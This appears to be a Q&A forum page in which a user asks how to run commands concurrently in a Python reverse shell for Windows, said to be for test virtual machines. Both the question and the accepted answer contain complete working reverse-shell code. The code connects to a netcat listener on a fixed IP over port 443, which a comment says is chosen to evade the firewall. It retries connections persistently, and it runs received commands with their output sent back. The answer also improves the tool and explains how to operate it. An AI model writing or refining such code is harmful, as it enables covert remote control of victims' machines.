How to add parallelism in execution with the subprocess module?

Asked

Viewed 890 times

4

The code will be used in 2 testing virtual machines (Linux and Windows).

The code below works but every time I run a program, for example the notepad, the prompt is stuck until I close the program.

How do I run multiple programs at once? I imagine it’s with Threads, but I still can’t use the concept.

How can I do that?

#Apenas a parte Server que ficara em windows . 
#A simple  Reverse Concection in Python 2.  windows
#client netcat:  nc -lvp 443

import socket
import time
import subprocess #Executar comandos do SO

#criando a conexao reversa

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada

def connect(IP,PORT):
    #conectando a central de controle 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # IP/TCP

        s.connect((IP,PORT))
        s.send('[!] Conexao recebida\n')        # msg pra ver se foi conectado
        #s.close()
        return s
    except Exception as e:
        print('Erro de conexao',e )
        return None

def listen(s):
##qdo  o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar!
## versao 3!!!!!!!!!!
#versao 4 usa while True

##########loop infinito para receber comandos
    try:

        while True:
            data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
            #print(data)
            if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
                s.close()#fechar conexao
                exit(0)  # 0 eh execucao normal/sem erros
            else: #executar os comandos
                cmd(s,data)
    except:
        main(s)

def cmd(s,data):
    try:    
        proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        saida = s.send(proc.stdout.read() + proc.stderr.read())
        s.send(saida)
        #print(proc.stdout.read())    
    except:
        main(s)

def main(s):
    if s:
        s.close()

    while True:
        s_connected = connect(IP,PORT)
        if s_connected:
            listen(s_connected)
        else:
            print("deu erro na conexao, tentando de novo!!!")##so pra debug
            time.sleep(10)

    #return 0 #nao precisa

s = None
main(s)
  • 2

    Does the program work? Can connect and run the command (cmd())?

  • 1

    It works. I ran c: windows Notepad.exe

  • 1

    @zekk , could you give me an example? I don’t know how to use threads...

  • 1

    @zekk, I haven’t got an answer yet, you could help?

  • @Eds The code Victor posted didn’t work?

  • @zekk, unfortunately it didn’t work!

  • @zekk, thank you!

  • @Eds If possible delete some comments, to make this "space" more organized.

  • @Miguel, can you help me out here?

  • Hello @Eds. It seems to me that this question already has good answers below. Where you need help?

  • @Eds Would there be more you want me to include in the answer? because the code I posted works as expected, at least for me here. :)

  • @stderr, thanks for the excellent response!

  • @Eds Dispo. :)

Show 8 more comments

2 answers

7

A guess using thread:

import thread

def listen(s):
    try:
        while True:
            data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
            #print(data)
            if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
                s.close()#fechar conexao
                exit(0)  # 0 eh execucao normal/sem erros
            else: #executar os comandos
                try:
                    thread.start_new_thread(cmd, (s,data))
                except:
                    print "Não foi possível criar uma nova thread."
    except:
        main(s)
  • I’ll test the code.

5


The code works but every time I run a program, by example, c: windows Notepad.exe, the prompt gets stuck until I close the program.

This happens due to redirecting which is made up of file descriptors of the process created for the parent process, which in this case is yours script.

In the code below, the entree, exit, and the error output are redirected to the entree of the parent process, this link interferes with the continuation of the process until the created.

subprocess.Popen(data, 
    shell=True, stdin = subprocess.PIPE, stdout= subprocess.PIPE, stderr= subprocess.PIPE)

To prevent this, do not make any redirecting, so no identifier will be inherited by the child process.

You can do this in two ways:

  1. Use the parameter close_fds, by default (from the version 3.2) is False, change to True.
  2. Define as None to entree, exit, and the error output.

Take an example:

def executarPrograma(cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, close_fds=True)
    except:
        pass

Note: The above function will attempt to execute what is passed as argument, without interfering with the execution of the script. For example, an executable, link, etc..

To execute a command on cmd.exe, use the function subprocess.check_output:

def executarCMD(s, cmd):
    try:
        saida = subprocess.check_output(['cmd.exe', '/c ', cmd])
        print (saida)
    except:
        pass

In your code, you can do it like this:

# -*- coding: utf-8 -*-
import socket, subprocess, shlex
from time import sleep

# cliente netcat:  nc -lvp 443

conexao = ('192.168.1.33', 443)
timeout = 10

def conectar(conexao): 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(conexao)
        return s
    except:
        return None

def enviarMensagem(s, msg):
    texto = "{}\n".format(msg).encode('utf-8')
    s.send(texto)

def escutar(s):
    try:
        while True:
            # O rstrip() é para eliminar a quebra de linha
            recebido = s.recv(1024).decode('utf-8').rstrip()

            if recebido:
                # Separa as informações recebidas
                informacoes = shlex.split(recebido)

                comando = informacoes[:1] # Pega o primeiro item
                args = informacoes[1:]    # Pega os itens do primeiro em diante

                # Verifica se o comando é "-e" ou "--exit"
                if any(opcao in ['-e', '--exit'] for opcao in comando):
                    print (" + Terminando conexão...")
                    s.close()
                    quit()

                # Verifica se  o comando é para executar um programa
                elif any(opcao in ['-r', '--run'] for opcao in comando):
                    print (" + Executando o programa {}".format(args))
                    executarPrograma(args)

                # Se as opções acima não forem satisfeitas, executa o
                # comando recebido no cmd.exe, ex.: dir, tasklist
                else:
                    print (" + Executando o comando {} no cmd.exe".format(recebido))
                    executarCMD(s, recebido)
    except:
        main(s)

def executarPrograma(cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, close_fds=True)
    except:
        print(" - Não foi possível executar o programa: {}".format(cmd))
        #main(s)

def executarCMD(s, cmd):
    try:
        if len(cmd) >= 3:
            saida = subprocess.check_output(['cmd.exe', '/c ', cmd])

            # Envia a saída ao cliente
            s.send(saida)
    except:
        print(" - Erro ao executar executar comando: {}".format(cmd))

        # Envia a mensagem de erro ao cliente
        enviarMensagem(s, "Erro ao executar comando {}".format(cmd))
        #main(s)

def main(s):
    if s:
        s.close()

    while True:
        conectado = conectar(conexao)
        if conectado:
            enviarMensagem(conectado, "Conexao Estabelecida")
            print (" + Conexao Estabelecida")

            escutar(conectado)
        else:
            print(" - Erro na conexão. Escutando...")
            sleep(timeout)  
    return 0

s = None
main(s)

Once connected, to run a program just type in the terminal of the netcat: --run <executavel> or -r <executavel>, for example: -r notepad.

To execute a command on cmd.exe, just type the command, for example: tasklist, dir, etc. To terminate the connection type: --exit or -e.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.